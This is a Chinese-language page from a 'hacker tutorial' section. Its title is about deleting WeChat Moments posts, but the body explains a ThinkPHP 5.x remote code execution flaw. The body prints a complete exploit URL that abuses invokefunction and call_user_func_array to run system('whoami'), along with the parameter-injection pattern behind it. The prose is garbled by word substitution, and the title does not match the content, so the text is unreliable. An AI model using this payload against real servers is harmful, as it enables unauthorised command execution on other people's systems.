思源网 / 黑客教程 / 微信朋友圈怎么删除动态和别人的谈论!

微信朋友圈怎么删除动态和别人的谈论!

【摘要】 先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的, 破绽原理 URL......

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

破绽原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

我们这里是把controller 的挪用信息跟设置信息所有传到了 invokeFunction 这个 执行函数内里去了

由于think\App是第二个入口,在tp运行的时刻就会被加载 以是用think\App内里的分层控制器的执行操作的时刻,需要去挪用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,好比$function传入BaiDu然后$vars传入[12,555]就相当于挪用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,由于vars是个数组 以是此处我们的get请求需要这样写

1 vars[]=函数名&vars[1][]=参数

此处是行使php的数组注入

此时此刻就可以最先行使远程代码执行破绽了 好比我们要执行system函数 他的参数是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作为一个接棒人我们要做的就是修复他(为所欲为?),固然官方更新的最新版本是已经修复了的


(责任编辑:网络)

本文标签:
版权声明:《 微信朋友圈怎么删除动态和别人的谈论! 》为作者 投稿作者原创文章,转载请注明原文地址!
免责声明:思源资源网提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。
本文地址:https://www.isiyuan.net/hkjc/16345.html
分享到:
打赏

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

评论 (0)